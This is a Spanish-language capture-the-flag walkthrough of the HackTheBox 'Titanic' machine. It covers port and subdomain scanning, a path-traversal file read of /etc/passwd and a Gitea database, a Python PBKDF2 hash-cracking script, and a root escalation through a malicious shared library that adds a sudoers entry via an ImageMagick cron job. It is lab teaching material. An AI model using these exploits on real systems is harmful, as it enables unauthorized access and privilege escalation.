> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md).

# Resolución de HackTheBox Titanic

{% embed url="<http://app.hackthebox.com/machines/648>" %}

{% hint style="warning" %}
**Habilidades:**

* **Inclusión local de archivos (LFI)**
* **Extracción de la base de datos de Gitea**
* **Explotación de ImageMagick (escalada de privilegios)**
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/11b7227266a14aca4f6b3cd91ccfe39c50f1cb93" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/59163e2bae13fd6ffa89da7fe7f9abf02961786c" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts
```

<figure><img src="/files/2af8c60100d99339f94ffc89ef6e2c3da2e9d1e7" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

```bash
nmap -sCV -p22,80 10.10.11.55 -oN targeted
```

<figure><img src="/files/d4907d6d583201f4baf76c08cc73e1cc77a64b49" alt=""><figcaption></figcaption></figure>

Luego agregamos la IP a nuestro `/etc/hosts` archivo:

<figure><img src="/files/3309728025d53b3f616b2c8aecc2bb84a9b7d274" alt="" width="563"><figcaption></figcaption></figure>

### Escaneando el puerto 80 (HTTP)

####

<figure><img src="/files/02c874e7051e7c00f3d6cdf7eb6f99b34569e77d" alt=""><figcaption></figcaption></figure>

### Escaneando el puerto 80 (HTTP)

#### Detección de tecnología

Con `wappalyzer`, identificamos que el sitio usa **Flask y Python**

<figure><img src="/files/979eae4ace56b6570a4400c2d4a97d095084cc63" alt="" width="349"><figcaption></figcaption></figure>

## Inclusión local de archivos (LFI) <a href="#fb9e" id="fb9e"></a>

<figure><img src="/files/b4b84f9f154d87e71eb73462963cdb6553daa16e" alt="" width="423"><figcaption></figcaption></figure>

El sitio ofrece una opción para reservar un viaje, que devuelve un archivo JSON.

<figure><img src="/files/4936b87cdb6fb1461df808da74db83c52f406f1d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/6b1283aa48d8cef48d46f25bebfdfb0d3bd988ec" alt="" width="563"><figcaption></figcaption></figure>

Al interceptar la solicitud con **Burp Suite**, notamos un `descarga` parámetro que permite acceder a los archivos:

<figure><img src="/files/adec27a4ab7a2acbe8a836cf99da92fcb6a21b8a" alt=""><figcaption></figcaption></figure>

```bash
/download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json
```

Probamos una inclusión de archivos:

```
/download?ticket=/etc/passwd
```

<figure><img src="/files/5d3beb90636645728fed2308fd0b8c239edbdef7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e4ae2f5e0e1e579009781151b0ff7b32f39b0f11" alt=""><figcaption></figcaption></figure>

Con `curl`:

```
curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd
```

Obtenemos los usuarios del sistema, incluido **developer**.

<figure><img src="/files/32406f946f710cb71011a155f180da6277e2c929" alt=""><figcaption></figcaption></figure>

### Fuzzing de subdominios

Buscamos subdominios con **Gobuster**:

```bash
gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r
```

<figure><img src="/files/0a959b01b44dcb138568311c830b4fa3571f5473" alt=""><figcaption></figcaption></figure>

Descubrimos **dev.titanic.htb**, que añadimos a `/etc/hosts`.

<figure><img src="/files/92ebc5e200f913783e684c2546b5b4cacaa7106e" alt="" width="563"><figcaption></figcaption></figure>

## Explotación de Gitea

En la **dev** subdominio, encontramos una **Gitea** instancia.

<figure><img src="/files/6f2c8a60d6ca793402ef8fbed254a611ad319dba" alt=""><figcaption></figcaption></figure>

#### Creación de un usuario

<figure><img src="/files/34eef8a4b1b113011f9f54ea34f82ffac97d5c60" alt=""><figcaption></figcaption></figure>

Encontramos una contraseña almacenada en texto plano (base de datos):

<figure><img src="/files/d6c90c3c71f9fe3901095e05ed53670fa53a3905" alt=""><figcaption></figcaption></figure>

Mientras exploramos la base de datos SQLite de Gitea, encontramos su ruta:

<figure><img src="/files/542d4f9fc150b03af8e67f5f9d603313e03495f7" alt=""><figcaption></figcaption></figure>

`/home/developer/gitea/data/gitea/gitea.db`

<figure><img src="/files/cc2b8984acdc41b2537a2cd6db5ad70d358c65fc" alt=""><figcaption></figcaption></figure>

Nos conectamos allí:

```sql
sqlite3 gitea.db
.tables
```

<figure><img src="/files/bf08a15c2a85d12737a4aaff67b3136ca7aba7e4" alt=""><figcaption></figcaption></figure>

Luego extraemos los hashes de las contraseñas:

```sql
SELECT lower_name, passwd, salt FROM user;
```

<figure><img src="/files/f82d812ef92479948fd6e16754a80e31184fac2a" alt=""><figcaption></figcaption></figure>

### Fuerza bruta de hash con sal

#### Hash:

```
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
```

#### Sal:

```
b8dc26d526439f6f2f4523fa8ea522a2
```

Usamos un script de Python para romper el hash:

```python
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"Conteo: {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"/nContraseña encontrada: {password}")
                return password
        print("Contraseña no encontrada.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
```

#### - La contraseña encontrada es **25282528**.

<figure><img src="/files/5384dea36f853fe0e34de50c5569917a5fc570b7" alt=""><figcaption></figcaption></figure>

Nos conectamos por SSH:

```bash
ssh developer@ticanic.htb
```

<figure><img src="/files/1e2cc05958891a19b9b7c52a9ed64fc7d563d79a" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/05a87d61c4049fbd3a165ba4a1cf514617927144" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

### Cron job - Explotación de ImageMagick

En `/opt/`, encontramos un script `script.sh` ejecutado automáticamente

<figure><img src="/files/fc547b3f5ff80e9b43d00b2b5055d1d46bf60a9e" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> Este script de shell primero se mueve al `/opt/app/static/assets/images` directorio, luego vacía el `metadata.log` archivo si existe. Luego busca todos los `.jpg` archivos en ese directorio y usa el `identify` comando para extraer sus metadatos (tamaño, formato, profundidad de color, etc.). Luego esta información se guarda en `metadata.log`. Por lo tanto, este script permite generar un archivo de metadatos actualizado para todas las imágenes JPG presentes en la carpeta especificada.

El script usa **ImageMagick**, una versión vulnerable.

```bash
magicks --version
```

<figure><img src="/files/3f6656402c4d80869090c922bc58d6e8c2af9473" alt=""><figcaption></figcaption></figure>

### Explotación mediante `LD_PRELOAD`

Creamos un `a.c` archivo:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

Compilación :

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/ebe0ed31cfd7ef52cf3d6e21e7bc09a23361e5e0" alt=""><figcaption></figcaption></figure>

Lo añadimos al directorio supervisado y ejecutable por `ImageMagick`. Luego, ejecutamos:

```bash
su root
```

<figure><img src="/files/ef474b13320c64dc0d8d8a5ae4d02393c33117cb" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/af5dbffb75a1416ccef0ed55ccd71a7f4d07899f" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
